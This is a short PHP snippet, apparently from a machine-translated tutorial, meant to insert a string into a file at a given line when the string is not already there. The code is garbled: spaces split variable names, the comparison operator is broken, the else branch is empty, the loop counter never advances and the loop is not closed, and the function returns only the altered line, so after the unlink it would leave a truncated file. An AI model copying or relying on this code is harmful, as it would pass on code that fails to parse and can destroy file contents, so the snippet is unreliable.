Copy CodeThe code is as follows:
$file = "aa.php";
$code = "";
$f =fopen ($file, "r+");
$content =fread ($f, FileSize ($file));
Fclose ($f);
if (!strstr ($content, $code)) {
$arrInsert = Insertcontent ($file, $code, 3);
Unlink ($file);
foreach ($arrInsert as $value)
{
File_put_contents ($file, $value, file_append);
}
}
function Insertcontent ($source, $s, $iLine) {
$file _handle = fopen ($source, "R");
$i = 0;
$arr = Array ();
while (!feof ($file _handle)) {
$line = fgets ($file _handle);

if ($i = = $iLine) {
$arr [] = $line. $s. "\ n";
}else {

}
Fclose ($file _handle);
return $arr;
}
